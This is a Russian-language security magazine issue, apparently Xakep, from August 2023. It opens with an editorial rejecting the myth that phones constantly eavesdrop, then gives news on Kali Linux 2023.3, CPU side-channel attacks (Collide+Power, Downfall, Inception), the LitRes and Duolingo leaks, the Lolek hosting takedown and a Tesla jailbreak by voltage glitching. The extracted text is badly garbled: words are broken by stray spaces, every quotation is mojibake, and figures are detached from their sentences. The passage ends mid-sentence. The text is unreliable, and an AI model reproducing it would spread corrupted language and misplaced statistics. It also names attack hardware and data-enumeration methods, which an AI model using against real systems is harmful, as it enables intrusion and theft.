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Всем извес тно, что каж дый телефон неп- 
рерыв но слу шает все, что говорят вок руг,
и исполь зует эти дан ные для показа рек- 
ламы. Пос той те, что?! Кто это ска зал и где
под твержде ние? Где серь езные иссле- 
дова ния? Доказа тель ств нет, но все же
это край не популяр ное мне ние. И неверо- 
ятно вред ное.

Для начала ого ворим ся: телефо ны при вклю чен ном голосо вом ассистен те
дей стви тель но неп рерыв но «слу шают» в ожи дании акти виру ющей фра зы.
Этот факт, видимо, и дал начало леген де о неп рерыв ной прос лушке.

При этом доказать, что слеж ки нет, тоже неп росто. Да, мож но ковырять
тра фик телефо на (и это дела ется), но жела ющий вооб разить какие-нибудь
безум ные схе мы сок рытия вооб разит их. А еще важ нее то, что людей, счи- 
тающих телефон малень ким пре датель ским сте ног рафом, зачас тую и не
инте ресу ют никакие тех ничес кие под робнос ти.

«Неос поримое доказа тель ство» прос лушки выг лядит так. Человек с кем-то
обсуждал, что хочет что-то купить. Ска жем, плюм бус. А потом кру тит лен ту
соц сети и видит там рек ламу как раз такого плюм буса. При этом он точ но
зна ет, что плюм бус в интерне те не искал. Конеч но, он реша ет, что телефон
записал и рас шифро вал раз говор про плюм бусы, а рас шифров ку пос лал
на базу. Это прос тое и логич ное объ ясне ние.

Ре аль ность же нам ного инте рес нее. Нап ример, плюм бус мог потом поис- 
кать собесед ник и соци аль ная сеть показа ла рек ламу всем его друзь ям.
Вдруг они тоже захотят? Или сам раз говор про плюб мусы был выз ван их
популяр ностью в этом сезоне, реги оне, у людей опре делен ного воз раста
и пред почте ний. В кон це кон цов, наш герой мог и рань ше видеть рек ламу
плюм бусов, но обра тил вни мание на нее толь ко пос ле раз говора. Или еще
веселее: желание обза вес тись плюм бусом изна чаль но и было спро воци- 
рова но рек ламой.

Тон кие нас трой ки тар гетин га поз воля ют нацелить ся на самые раз ные
инте ресы и их пересе чение

Ка залось бы, нем ного паранойи не помеша ет. Ну счи тают люди, что их
телефон — это все видя щее око (точ нее, всес лышащее ухо), подума ешь!
Может, и хорошо, что они наконец задумы вают ся о таких вещах. Да и в кон це
кон цов, вдруг и прав да слу шает? Но у таких рас сужде ний есть неп рият ные
побоч ные эффекты.

Пе ред лицом невиди мой, но неумо лимой угро зы люди пол ностью теря ют
волю к соп ротив лению и начина ют нап раво и налево раз давать раз решения
на слеж ку. Подума ешь, какое-то при ложе ние хочет дос туп к адресной кни ге,
ведь телефон все вре мя слу шает! Подума ешь, бонус ная кар та магази на —
это ана лог сес сион ных cookies, который поз воля ет вес ти пол ную исто рию
покупок. Зато скид ку дают... Да и все рав но телефон все слу шает! И так
далее.

По луча ется, что уже нет смыс ла знать о реаль ных механиз мах слеж ки.
К при меру, Gmail дей стви тель но собира ет ста тис тику из писем — это широко
извес тный факт, отра жен ный в поль зователь ском сог лашении. А счет чики
Google Analytics и кноп ки шей рин га в соц сетях — это малень кие тре керы,
раз бро сан ные по все му интерне ту, которые поз воля ют собирать точ ную кар- 
тину переме щений поль зовате ля в сети. Но все эти под робнос ти слиш ком
слож ны и мер кнут в срав нении с мифичес кой прос лушкой.

Ког да при нима ются законы, нап ример про тив шиф рования перепис ки,
реаги рует на это лишь неболь шая прос лой ка общес твен ности. Осталь ные же
толь ко пожима ют пле чами. Вро де бы не так тяжело убе дить челове ка в том,
что защита его перепис ки — это важ но и что это пра во сто ит отста ивать.
Но дело усложня ется, ког да он дав но не верит, что его перепис ка в реаль нос- 
ти была защище на и ник то не мог получить к ней дос туп.

Ког да у людей нет веры в при ват ность в прин ципе, то ее ока зыва ется
слож но про дать. Как она может быть кон курен тным пре иму щес твом, если,
что бы ни делал раз работ чик, он все рав но под подоз рени ем? Хуже того,
какой-то про изво дитель телефо нов может взять и решить, что раз прос лушка
счи тает ся нор мой, то мож но ее вру бить и ник то не расс тро ится.

Имен но поэто му наше дело — раз бирать ся в деталях и ста рать ся знать
обо всех час тных слу чаях и исклю чени ях. А самое глав ное — никог да
не поощ рять образ мыс лей, который обес ценива ет защиту лич ных дан ных
под видом нигилиз ма или осо бой осве дом леннос ти.
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В этом месяце: выш ла новая вер сия Kali Linux, утек ли дан ные
поль зовате лей «Лит Рес» и Duolingo, фай лооб менник
Anonles зак рылся из-за пос тоян ных зло упот ребле ний, уче- 
ные соз дали сра зу три side-channel-ата ки на сов ремен ные
про цес соры, иссле дова тели джей лбрей кну ли Tesla и раз- 
бло киро вали плат ные фун кции, а так же дру гие инте рес ные
события пос ледне го месяца лета.

KALI LINUX ПОЛУЧИЛА
ДЕВЯТЬ НОВЫХ
ИНСТРУМЕНТОВ

Раз работ чики Offensive Security пред ста вили Kali Linux 2023.3, третью вер сию
дис три бути ва в 2023 году. Новин ка уже дос тупна для заг рузки и содер жит
девять новых инс тру мен тов, а так же ряд улуч шений, вклю чая модер низиро- 
ван ную внут реннюю инфраструк туру, обновлен ные Kali Autopilot и Kali
NetHunter.

В этом выпус ке появи лось не так мно го новых фун кций, а боль шинс тво
изме нений были внут ренни ми, нап равлен ными на повыше ние общей надеж- 
ности про екта и его опти миза цию.

Так, по сло вам раз работ чиков, в этом выпус ке они в основном сос редото- 
чились на инфраструк туре ОС, что бы она соот ветс тво вала Debian 12, вышед- 
шему летом текуще го года.

«

»

«Ñ ðåëèçîì Debian 12, êîòîðûé âûøåë ðàíåå ýòèì ëåòîì, ìû âîñ ïîëü- 

çîâàëèñü âîç ìîæíîñòüþ ïåðåðà áîòàòü, ïåðåï ðîåê òèðîâàòü è ïåðåñ- 

òðî èòü íàøó èíôðàñòðóê òóðó. Ýòî î÷åíü ìàñ øòàá íàÿ ðàáîòà, è íå ñòî- 

èò óäèâ ëÿòü ñÿ òîìó, ÷òî îíà åùå íå çàâåð øåíà. 

Èìåí íî íà ýòîì ìû ñîñ ðåäîòî ÷èëèñü â ýòîì ðåëèç�öèê ëå (à òàê æå,

ê ñîæàëå íèþ, â ñëå äóþùåì). Íàäå åìñÿ, ÷òî áîëü øàÿ ÷àñòü ðàáîòû

áóäåò çàâåð øåíà ê êîí öó ãîäà (÷òî áû ìû ìîã ëè âåð íóòü ñÿ ê òîìó, ÷òî

ïîëó÷à åòñÿ ó íàñ ëó÷ øå âñå ãî!)», — ñîîá ùàþò àâòî ðû Kali.

Нев зирая на эти заяв ления раз работ чиков, Kali Linux 2023.3 получи ла девять
новых инс тру мен тов:

 — натив ный облачный нет воркинг и сетевая безопас ность;• Calico
 — CLI и инс тру мен ты валида ции для kubelet Container Runtime

Interface;
• cri-tools

 — наб людение за сетью, сер висами и безопас ностью
для Kubernetes с исполь зовани ем eBPF;

• Hubble

 — hex-редак тор для реверс-инже неров, прог раммис тов и людей,
«которые ценят свои гла за при работе в три часа ночи»;

• ImHex

 — кас томиза ция кон фигура ций Kubernetes YAML;• kustomize
 — плат форма авто мати зации, объ еди няющая раз личные хакер- 

ские инс тру мен ты для пен тестин га;
• Rekono

 — глу бокая интегра ция деком пилято ра Ghidra и дизас сем бле ра
Sleigh для Rizin;

• rz-ghidra

 — извле чение фай лов из кон тей неров любых фор матов;• unblob
 — C2-фрей мворк, который может работать с нес коль кими

реверс-шел лами и рас ширять их фун кци ональ ность.
• Villain

Кро ме того, в начале 2023 года раз работ чики пред ста вили фрей мворк
для авто мати чес ких атак Kali Autopilot. Теперь коман да сооб щает, что про дол- 
жает работу над ним, добав ляя и изме няя фун кци ональ ность на осно ве отзы- 
вов поль зовате лей:

«

»

«Çà ïîñ ëåäíèå øåñòü ìåñÿöåâ ýòîò èíñ òðó ìåíò ïðî øåë áîëü øîé ïóòü,

è ìû íå ïëà íèðó åì ñíè æàòü òåì ïû. Êàê âñåã äà, åãî ôîð ìèðó åò ñîîá- 

ùåñ òâî; èäåè, âîç ìîæíîñ òè è íàï ðàâëå íèÿ ðàç âèòèÿ ìîãóò áûòü ïðåä- 

ñòàâ ëåíû è ñôîð ìèðîâà íû âàìè. Åñëè âû ðàç ðàáîòà ëè ñêðèï òû

äëÿ àòàê íà óÿç âèìûå ìàøèíû, ìû áóäåì ðàäû ðàç ìåñòèòü èõ â íàøåì

Kali Purple Hub».

Так же отме чает ся, что Kali NetHunter получил допол нитель ные под держи- 
ваемые мобиль ные ядра, вклю чая Nothing Phone (1) для Android 12 (Snow
Cone) и 13 (Tiramisu), а так же Samsung Galaxy A7 для LineageOS 18.

НА  БОЛЬШЕ НЕЛЕГАЛЬНОГО РОССИЙСКОГО
СОФТА

230%

По дан ным СМИ, объ ем нелегаль ного рос сий ско го ПО вырос более чем в два раза (на )
по срав нению с прош лым годом, так как пираты перек лючились на рос сий ские про дук ты. Нап- 
ример, на одном из тор рент-тре керов количес тво ска чива ний пират ской вер сии Astra Linux сос- 
тавило  раз, а Windows 11 за ана логич ный пери од — менее .

230%

1514 300

В Рос комнад зоре под твержда ют, что ауди тория пират ских ресур сов в целом рас тет:
с начала 2023 года по линии наруше ний автор ских прав было уда лено или заб локиро вано око- 
ло  матери алов, тог да как за ана логич ный пери од 2022 года таких матери алов уда лено
или заб локиро вано .
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СРАЗУ ТРИ АТАКИ
УГРОЖАЮТ
СОВРЕМЕННЫМ
ПРОЦЕССОРАМ

Ав густ ока зал ся богат на «про цес сорные» side-channel-ата ки, которые пред- 
став ляют угро зу поч ти для всех сов ремен ных CPU.

Пер вой из них ста ла проб лема  (CVE-2023-20583),

о которой рас ска зали уче ные, ранее учас тво вав шие в обна руже нии нашумев- 
ших проб лем .

Collide+Power

Spectre и Meltdown
Но вая side-channel-ата ка может при вес ти к утеч ке дан ных, и ее срав нива- 

ют с проб лемой Meltdown, отно ся к уяз вимос тям типа Microarchitectural Data
Sampling (MDS). По сути, Collide+Power пред став ляет собой уни вер саль ную
соф твер ную ата ку, которая при мени ма к любому при ложе нию, любому типу
дан ных и работа ет про тив устрой ств на базе про цес соров Intel, AMD и ARM.

Collide+Power осно выва ется на ана лизе энер гопот ребле ния про цес сора
для выяв ления содер жимого кеш-памяти про цес сора. Ата ка может, к при- 
меру, помочь рас крыть клю чи шиф рования, если зло умыш ленник име ет пос- 
тоян ный дос туп к обо рудо ванию жер твы или к сре де облачных вычис лений,
которая пре дос тавля ет обо рудо вание раз ным тенан там.

Ис сле дова тели объ ясни ли, что Collide+Power слож но наз вать фак тичес кой
уяз вимостью. По сути, ата ка прос то зло упот ребля ет тем, что некото рые ком- 
понен ты ЦП пред назна чены для обме на дан ными из раз ных защищен ных
областей. Зло умыш ленник может исполь зовать эти общие ком понен ты, что бы
объ еди нить свои дан ные с дан ными поль зователь ских при ложе ний. Для это го
зло умыш ленник изме ряет энер гопот ребле ние про цес сора, изме няя под кон- 
троль ные ему дан ные, и выяв ляет дан ные, свя зан ные с поль зователь ски ми
при ложе ниями.

Вто рая проб лема, раз работан ная сот рудни ком ком пании Google, — про- 
цес сорная ата ка для све жей уяз вимос ти  (CVE-2022-40982),

которая пред став ляет угро зу для нес коль ких семей ств мик ропро цес соров
Intel. Эта проб лема тоже поз воля ет похищать пароли, клю чи шиф рования
и лич ные дан ные (нап ример, элек трон ные пись ма, сооб щения или бан ков- 
скую информа цию) поль зовате лей.

Downfall

Downfall пред став ляет собой side-channel-ата ку и исполь зует баг типа
transient execution. Такие ата ки опас ны для всех про цес соров Intel на мик- 
роар хитек турах от Skylake до Ice Lake. Экс плу ати руя уяз вимость, зло умыш- 
ленник получа ет воз можность извле кать кон фиден циаль ную информа цию,
защищен ную с помощью Software Guard eXtensions (SGX), аппа рат ного шиф- 
рования Intel, которое обыч но отде ляет код и дан ные в памяти от соф та в сис- 
теме.

Для осу щест вле ния ата ки Downfall тре бует ся, что бы зло умыш ленник
находил ся в том же физичес ком ядре про цес сора, что и жер тва, но это обес- 
печива ется сов ремен ной моделью shared-вычис лений. При этом локаль ная
прог рамма, нап ример вре донос ное ПО, в теории тоже может исполь зовать
уяз вимость для кра жи кон фиден циаль ной информа ции.

Треть ей спе куля тив ной проб лемой это го месяца ста ла ата ка 

(CVE-2023-20569), наз ванная в честь одно имен ного филь ма Крис тофера
Нолана и пред став ляющая собой проб лему типа transient execution.

Inception

Эта side-channel-ата ка, соз данная груп пой спе циалис тов из Швей цар ской
выс шей тех ничес кой шко лы Цюриха, может исполь зовать ся про тив любых
про цес соров AMD Zen (от Zen 1 до Zen 4), вклю чая пос ледние модели.
Inception так же может при вес ти к утеч ке дан ных вро де паролей и клю чей
шиф рования.

Для соз дания Inception экспер ты объ еди нили уже извес тную проб лему
Phantom speculation (CVE-2022-23825) с новой ата кой, которой дали наз- 
вание Training in Transient Execution (TTE).

«

»

«Êàê â îäíî èìåí íîì ôèëü ìå, „Íà÷àëî“ (Inception) çàê ëàäûâà åò â ÖÏ

„èäåþ“, ïîêà òîò â íåêîòî ðîì ñìûñ ëå „ñïèò“, âûíóæ äàÿ åãî ñîâåð øàòü

íåï ðàâèëü íûå äåé ñòâèÿ, îñíî âàí íûå íà ÿêî áû ñàìîñ òîÿòåëü íî ïðè- 

äóìàí íîì îïû òå. Èñïîëü çóÿ ýòîò ïîä õîä, Inception çàõ âàòûâà åò âðå- 

ìåí íûé ïîòîê óïðàâëå íèÿ èíñ òðóê öèÿìè âîç âðà òà íà âñåõ ïðî öåñ ñîðàõ

AMD Zen», — îáú ÿñíè ëè èññëå äîâà òåëè.

По сути, эта проб лема (она получи ла иден тифика тор CVE-2023-20569) пред- 
став ляет собой новый тип атак, который поз воля ет зас тавить ЦП поверить
в то, что инс трук ция XOR явля ется инс трук цией рекур сивно го вызова.
Это при водит к перепол нению буфера сте ка воз вра та целевым адре сом, кон- 
тро лиру емым зло умыш ленни ком, и поз воля ет сли вать про изволь ные дан ные
из неп ривиле гиро ван ных про цес сов, запущен ных на любом про цес соре AMD
Zen.

НИКАКИХ АТАК НА «ГОСУСЛУГИ»

Выс тупая на сам мите «Рос сия — Афри ка», ген дирек тор ком пании «Рос телеком-Солар» Игорь
Ляпунов сооб щил, что за пос ледние пол тора года не было ни одной кибера таки на «Госус луги».

На пом ним, что спе циалис ты «Рос телеко ма» отве чают за безопас ность пор тала «Госус луги»
и за работу ЕСИА (Еди ной сис темы иден тифика ции и аутен тифика ции).

→ «В прош лом году, в пер вые месяцы начала СВО, мы наб людали эффект, ког- 
да на бир жах в дар кне те рас про дава лись хакер ские ресур сы для атак на тер-
риторию Рос сии. Конеч но, „Госус луги“ явля ются колос саль ным маг нитом
для хакеров. Это боль шой вызов. За эти 1,5 года ни одной успешной кибера- 
таки и оста нов ки наших государс твен ных сер висов не было», — заявил Ляпунов.

УТЕКЛИ ДАННЫЕ
DUOLINGO
И «ЛИТРЕС»

Сре ди круп ных уте чек дан ных на рос сий ском рын ке в августе мож но было
выделить два инци ден та: слив дан ных поль зовате лей сер виса элек трон ных
книг «Лит Рес» и пуб ликацию информа ции о 2,6 мил лиона поль зовате лей
Duolingo.

В слу чае «Лит Рес» хакеры выложи ли в откры тый дос туп дан ные поль- 
зовате лей сер виса. По информа ции ана лити ков Data Leakage & Breach
Intelligence, ответс твен ность за эту утеч ку лежит на тех же зло умыш ленни ках,
которые рань ше сли ли в сеть дан ные «Сбер Логис тики», обра зова тель ного
пор тала GeekBrains, служ бы дос тавки Delivery Club и мно гих дру гих ком паний.

Дамп, свя зан ный с «Лит Рес», нас читыва ет 677 Мбайт и содер- 
жит 3 083 408 строк, но хакеры утвер жда ют, что в пол ном дам пе боль- 
ше 97 мил лионов строк. В откры тый дос туп уже попали:
• имя, фамилия (не для всех);
• email-адре са (590 тысяч уни каль ных адре сов);
• хе широ ван ные пароли (SHA-1 без соли).

Пред ста витель «Лит Рес» под твер дил утеч ку дан ных кли ентов, под чер кнув, что
пла теж ная информа ция поль зовате лей не пос тра дала. В ком пании сооб- 
щили, что уже занима ются рас сле дова нием слу чив шегося.

Слив информа ции о 2,6 мил лиона поль зовате лей Duolingo, про изо шед- 
ший в кон це месяца, выг лядит ина че. Дело в том, что на хакер ском форуме
была опуб ликова на информа ция, соб ранная при помощи скра пин га. Дамп
вклю чал обще дос тупные логины и име на поль зовате лей, а так же при ват ную
информа цию, в том чис ле email-адре са и внут ренние дан ные, свя зан ные
с сер висом Duolingo.

Хо тя нас тоящее имя и логин явля ются обще дос тупной информа цией
и частью поль зователь ско го про филя Duolingo, утеч ка email-адре сов пред- 
став ляет собой более серь езную проб лему, так как поз воля ет исполь зовать
обще дос тупные дан ные в ата ках.

Ин терес но, что в начале года этот же набор дан ных про дава ли в дар кне те
за 1500 дол ларов США, а теперь дамп опуб ликова ли на новой вер сии хакер- 
ско го форума Breached, и хакеры оце нили его все го в восемь кре дитов (внут- 
ренняя валюта сай та, при мер но 2,13 дол лара США).

Дан ные про дают за 1500 дол ларов

Су дя по все му, дан ные были соб раны с помощью откры того API, информа ция
о котором цир кулиру ет в сети как минимум с мар та 2023 года. При чем
ИБ-спе циалис ты дав но пре дуп режда ли об этой проб леме и докумен тирова ли
воз можные спо собы ее экс плу ата ции.

Фак тичес ки этот API поз воля ет отправ лять username и получать выход ные
дан ные JSON, содер жащие информа цию из обще дос тупно го про филя поль- 
зовате ля. Так же мож но ввес ти адрес элек трон ной поч ты и узнать, свя зан ли
он с дей ству ющей учет ной записью Duolingo. Это поз волило скра перам «про- 
верить» мил лионы email-адре сов, которые фигури рова ли в дру гих утеч ках
дан ных, и свя зать их с кон крет ными учет ными запися ми.

По дан ным СМИ, зло получ ный API открыт до сих пор, даже пос ле мно жес- 
тва пуб личных пре дуп режде ний от экспер тов и скра пин га дан ных.

ЗА ГОД ИИ СОЗДАЛ БОЛЬШЕ ИЗОБРАЖЕНИЙ, ЧЕМ
ФОТОГРАФЫ ЗА 150 ЛЕТ
Ком пания Everypixel Group сооб щает, что в пос ледний год количес тво соз данно го ИИ кон тента
в сети неук лонно рас тет и уже мож но говорить о сво еоб разных рекор дах. Так, за пос ледние
пят надцать месяцев популяр ные ИИ-решения (Midjourney, Stable Diffusion, DALL-E 2 и Adobe
Firey) сге нери рова ли по зап росам поль зовате лей более  изоб ражений.15 мил лиар дов

Для срав нения иссле дова тели под счи тали, что фотог рафам пот ребова лось поч ти , про- 
шед ших с момен та пер вой фотог рафии, сде лан ной в 1826 году, что бы дос тичь отметки
в  в 1975 году.

150 лет

15 мил лиар дов

Пос ле запус ка DALL-E 2 люди соз дают в сред нем  изоб ражений в день.34 мил лиона

При этом око ло  изоб ражений ( ) были соз даны с исполь зовани ем
моделей, сер висов, плат форм и при ложе ний на осно ве Stable Diffusion, который име ет откры- 
тый исходный код.

80% 12,5  мил лиар да

Продолжение статьи →
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XIAOMI БЛОКИРУЕТ
УСТАНОВКУ
TELEGRAM В КИТАЕ

Об наружи лось, что теперь уста нов ка Telegram на устрой ства Xiaomi бло киру- 
ется с помощью MIUI. В Китае Xiaomi помеча ет Telegram как опас ное при- 
ложе ние и бло киру ет из сооб ражений безопас ности.

Еще в 2022 году в MIUI добави ли фун кци ональ ность, бла года ря которой
ОС получи ла воз можность помечать и бло киро вать запуск потен циаль но вре- 
донос ных при ложе ний на устрой ствах ком пании. Эта фун кция, офи циаль но
пред назна чен ная для защиты от мошен ничес тва и спам-звон ков, прак тичес ки
сра зу под верга лась кри тике, так как поль зовате ли заподоз рили, что это заву- 
али рован ная попыт ка Xiaomi отсле живать дей ствия поль зовате лей, а так же
сот рудни чать с китай ски ми влас тями, под вергая цен зуре кон крет ные при- 
ложе ния.

Эти подоз рения под креп лялись тем, что MIUI начала бло киро вать при- 
ложе ния, которые поз воляли поль зовате лям вно сить глу бокие изме нения
в сетевые нас трой ки устрой ств.

Ес ли при ложе ние счи тает ся вре донос ным или опас ным, MIUI пыта ется
уда лить его с устрой ства и заб локиро вать уста нов ку. И недав но MIUI ста ла
помечать как опас ное при ложе ние Telegram и бло киро вать его уста нов ку
в Китае.

Сог ласно сооб щени ям поль зовате лей, если MIUI обна ружи вает мес сен джер,
появ ляет ся пре дуп режде ние:

«
»

«Ïðè ëîæå íèå íå ïðîø ëî ïðî âåð êó áåçîïàñ íîñòè Xiaomi. Ýòî ïðè ëîæå- 
íèå ÿâëÿ åòñÿ ìîøåí íè÷åñ êèì, è åãî èñïîëü çîâàíèå ìîæåò ïðè âåñ òè
ê òàêèì ðèñ êàì, êàê ìîøåí íè÷åñ êèå ñïè ñàíèÿ èëè íåîáîñ íîâàí íûå
òðà òû. Â öåëÿõ áåçîïàñ íîñòè ðåêîìåí äóåò ñÿ àêòè âèðî âàòü ìåðû
çàùèòû, ÷òî áû îáåñ ïå÷èòü áåçîïàñ íîñòü è çàùèòèòü ñÿ îò îïàñ íûõ
ïðè ëîæå íèé».

Ис торичес ки китай ские влас ти стре мились ввес ти огра ниче ния и пря мые зап- 
реты на работу мно гих круп ных плат форм, вклю чая Twitter, WhatsApp и Google.
Так же недав но Китай обра тил свое вни мание на при ложе ния, которые
облегча ют обще ние или обмен кон тентом, — к их чис лу отно сит ся и Telegram.

ФЕЙКОВ СТАЛО НА  БОЛЬШЕ34%

Спе циалис ты «РТК-Солар» под счи тали, что в пер вом полуго дии 2023 года количес тво фаль- 
шивых при ложе ний, выда ющих себя за популяр ные сер висы, уве личи лось на . В сред нем
такие под делки «живут» в магази нах при ложе ний  дня.

34%
62

Ча ще дру гих от таких дей ствий зло умыш ленни ков стра дают  и 
при ложе ния, а для дос тавки вре донос ного кода на устрой ства исполь зуют ся раз нооб разные

 при ложе ния.

бан ков ские крип товалют ные

иг ровые

ХОСТИНГ LOLEK
ЗАКРЫЛИ

Пра воох ранитель ные орга ны зак рыли извес тный «пуленеп робива емый» хос- 
тинг Lolek (lolekhosted[.]net), арес товали пять его адми нис тра торов и кон- 
фиско вали сер веры, которые яко бы исполь зовались в ата ках вымога теля
Netwalker.

Ши роко извес тный про вай дер «пуленеп робива емо го» хос тинга работал
с 2009 года. Его упо мина ния час то мож но встре тить в стать ях об ано ним ных
хос тинго вых плат формах, и извес тно, что хос тинг базиро вал ся в Великоб- 
ритании, а его дата-цен тры раз мещались в стра нах Евро пы.

«Пуленеп робива емые» хос тинг-про вай деры, как пра вило, зак рыва ют гла за
на раз меща емый кли ента ми кон тент и обе щают сох ранить их ано ним ность.
Подоб ные ком пании извес тны тем, что пре дос тавля ют зло умыш ленни кам IP-
адре са, сер веры и домены для рас простра нения вре донос ных прог рамм,
фор мирова ния бот нетов и выпол нения дру гих задач, свя зан ных с мошен- 
ничес твом и кибера така ми.

Lolek рек ламиро вал ся как «100%-но кон фиден циаль ный хос тинг» с пол- 
ным отсутс тви ем логов, то есть его соз датели уве ряли, что не фик сиру ют
на сво их сер верах и сетевом обо рудо вании никакую активность, которая мог-
ла бы исполь зовать ся для обви нения кли ентов в прес тупле ниях.

Как сооб щили Евро пол и Минис терс тво юсти ции США, в Поль ше были
арес тованы пять адми нис тра торов сер виса, а все сер веры Lolek кон фиско- 
ваны.

Ев ропол заявил, что Lolek был зак рыт, пос коль ку кибер прес тупни ки
исполь зовали его ресур сы для орга низа ции DDoS-атак, про веде ния
спам-кам паний, рас простра нения инфости леров, раз мещения управля ющих
сер веров и под дель ных интернет-магази нов.

Ми нис терс тво юсти ции США, в свою оче редь, сооб щило, что в адми нис- 
три рова нии Lolek обви няют граж данина Поль ши по име ни Артур Кароль Гра- 
бов ски (Artur Karol Grabowski). Хотя в нас тоящее вре мя неяс но, был ли Гра- 
бов ски одним из адми нис тра торов хос тинга, арес тован ных в Поль ше,
Минюст утвер жда ет, что он содей ство вал кибер прес тупнос ти, поз воляя кли- 
ентам Lolek регис три ровать ся под вымыш ленны ми име нами, час то менять IP-
адре са сер веров, а так же уве дом лял кли ентов о юри дичес ких зап росах в их
отно шении.

Кро ме того, счи тает ся, что Гра бов ски яко бы помогал уже прек ратив шей
свое сущес тво вание вымога тель ской груп пиров ке Netwalker, которая арен- 
довала у Lolek сер веры, исполь зовав шиеся более чем в 50 ата ках (для взло- 
ма сетей, хра нения похищен ных дан ных и хакер ских инс тру мен тов).

В нас тоящее вре мя Гра бов ски предъ явле ны обви нения в сго воре с целью
совер шения компь ютер ного мошен ничес тва, сго воре с целью совер шения
мошен ничес тва с исполь зовани ем элек трон ных средств свя зи, а так же
в отмы вании денег в меж дународ ных мас шта бах. В слу чае приз нания винов- 
ным по всем пун ктам обви нения ему гро зит до 45 лет лишения сво боды.

БЬЁРН СТРАУСТРУП ДАЕТ СОВЕТЫ РАЗРАБОТЧИКАМ

Соз датель язы ка C++, автор мно жес тва книг и про фес сор компь ютер ных наук в Колум бий ском
уни вер ситете Бьёрн Стра уструп (Bjarne Stroustrup) дал интервью Honeypot.io, в котором, нап- 
ример, рас ска зал, что стал прог раммис том по ошиб ке, полагая, что записы вает ся на курс
прик ладной матема тики (на самом деле это был курс по информа тике).

По прось бе интервь юеров Стра уструп дал нес коль ко советов нынеш нему поколе нию прог- 
раммис тов.

→ «Труд но давать советы. Как минимум так же труд но, как и их при нимать.
Не пере усердствуй те со спе циали заци ей. Не будь те слиш ком уве рены в том,

что вам извес тно будущее. Будь те гиб кими и пом ните, что карь ера и работа —
это дол госроч ная пер спек тива. Слиш ком мно го молодых людей дума ют, что
могут что-то опти мизи ровать, а потом обна ружи вают, что пот ратили пару лет
или боль ше на спе циали зацию, которая, веро ятно, была не сов сем пра виль ной.
И в про цес се работы они выгора ют, потому что не уде ляли дос таточ но вре мени
друж бе и жиз ни вне компь юте ра.

Нель зя прос то кодить. Нуж но так же работать с куль турой и спо соба ми
выраже ния идей. То есть я никог да не жалел о вре мени, пот рачен ном на исто- 
рию и матема тику. Матема тика отта чива ет ваш ум, исто рия дает вам пред став- 
ление о ваших огра ниче ниях и о том, что про исхо дит в мире. И поэто му не будь- 
те слиш ком уве рены. Не спе шите, ста рай тесь вес ти более сба лан сирован ную
жизнь и будь те готовы исполь зовать пред ста вив шиеся воз можнос ти».

Ссы лаясь на свой собс твен ный опыт, Стра уструп говорит, что необ ходимо обла дать широким
набором навыков, что бы мочь исполь зовать раз личные воз можнос ти, ког да они появ ляют ся:

→ «Я занимал ся клас сичес кой информа тикой, ком пилято рами, занимал ся нес- 
коль кими язы ками... Думаю, тог да я знал око ло двух десят ков. Я занимал ся
архи тек турой машин, опе раци онны ми сис темами. И этот набор навыков ока зал- 
ся полез ным».

ДЖЕЙЛБРЕЙК TESLA
РАЗБЛОКИРОВАЛ
ПЛАТНЫЕ ФУНКЦИИ

Ис сле дова тели из Бер лин ско го тех ничес кого уни вер ситета раз работа ли
метод джей лбрей ка инфо тей нмент-сис тем на базе про цес соров AMD. Такие
сис темы исполь зуют ся во всех пос ледних моделях авто моби лей Tesla,
и иссле дова тели получи ли воз можность запус кать на них любое ПО, а так же
раз бло киро вать плат ные фун кции авто моби лей.

Соз данная иссле дова теля ми ата ка поз воля ет извлечь уни каль ный ключ
RSA, при вязан ный к железу (Tesla исполь зует его для аутен тифика ции авто- 
моби ля в сво ей сер висной сети), а так же акти виро вать прог рам мно заб- 
локиро ван ные фун кции, вклю чая подог рев сидений и Acceleration Boost,
за которые вла дель цы Tesla обыч но дол жны пла тить отдель но. Осо бо отме- 
чает ся, что раз бло киро вать таким спо собом фун кцию Full Self-Driving (FSD,
зна мени тый «авто пилот» Tesla) не получит ся.

Эк спер ты обна ружи ли, что человек, име ющий физичес кий дос туп к пла те
Infotainment and Connectivity ECU (ICE) авто моби ля, может исполь зовать 

 про тив AMD Secure Processor (ASP), на котором стро ится блок
управле ния инфо тей нмент-сис темами MCU-Z.

из- 
вес тную ата ку

Взло мать информа цион но-раз вле катель ную сис тему уда лось, опи раясь
на упо мяну тое прош лое иссле дова ние, которое обна ружи вало воз можность
внед рения оши бок и извле чения сек ретов. Так как инфо тей нмент-сис тема
Tesla осно вана на уяз вимом про цес соре AMD Zen 1, исполь зование ранее
обна ружен ных багов помог ло осу щес твить ее джей лбрейк.

«

»

«Â íàñ òîÿùåå âðå ìÿ ðåàëè çîâàòü íàøó àòà êó ñìî ãóò ëþäè, êîòîðûå
îáëà äàþò îïðå äåëåí íûìè ïîç íàíè ÿìè â îáëàñòè ýëåê òðîí íîãî îáî- 
ðóäî âàíèÿ, óìå þò îáðà ùàòü ñÿ ñ ïàÿëü íèêîì è ìîãóò ïðè îáðåñòè
äîïîë íèòåëü íîå îáî ðóäî âàíèå ñòî èìîñòüþ ïðè ìåð íî 100 äîë ëàðîâ, —
ðàñ ñêà çûâà þò ýêñïåð òû. — Ìû ðåêîìåí äóåì ïëà òó Teensy 4.0,
êîòîðóþ ëåã êî èñïîëü çîâàòü äëÿ àòàê voltage glitching ñ íàøåé îïåí- 
ñîð ñíîé ïðî øèâ êîé. Òàê æå ïîò ðåáó åòñÿ ïðîã ðàììà òîð SPI-Flash
è ëîãè÷åñ êèé àíà ëèçà òîð, êîòîðûé ìîæåò ïîìî÷ü â îòëàäêå àòà êè».

Упо мяну тая тех ника voltage glitching, так же извес тная как внед рение оши бок,
поз воля ет получить root-дос туп и запус тить про изволь ное ПО на MCU-Z
для раз бло киров ки некото рых плат ных фун кций авто. Более того, иссле дова- 
тели утвер жда ют, что получен ный таким спо собом дос туп будет прак тичес ки
необ ратимым.

« »
«Ïîëó÷åí íûå íàìè root-ïðà âà ïîç âîëÿ þò âíî ñèòü ïðî èçâîëü íûå èçìå- 
íåíèÿ â Linux, êîòîðûå âûäåð æàò ïåðåçàã ðóçêè è îáíîâëå íèÿ», —
ãîâîðÿò àâòî ðû àòà êè.

Кро ме того, джей лбрейк поз воля ет извлечь защищен ный TPM ключ аттеста- 
ции, который Tesla исполь зует для аутен тифика ции авто моби ля и про вер ки
целос тнос ти его аппа рат ной сос тавля ющей, и перенес ти его на дру гой авто- 
мобиль. Иссле дова тели объ ясня ют, что это, нап ример, может помочь исполь- 
зовать авто мобиль в непод держи ваемых стра нах или выпол нить самос- 
тоятель ный ремонт. Одна ко это так же может помочь зло умыш ленни ку выдать
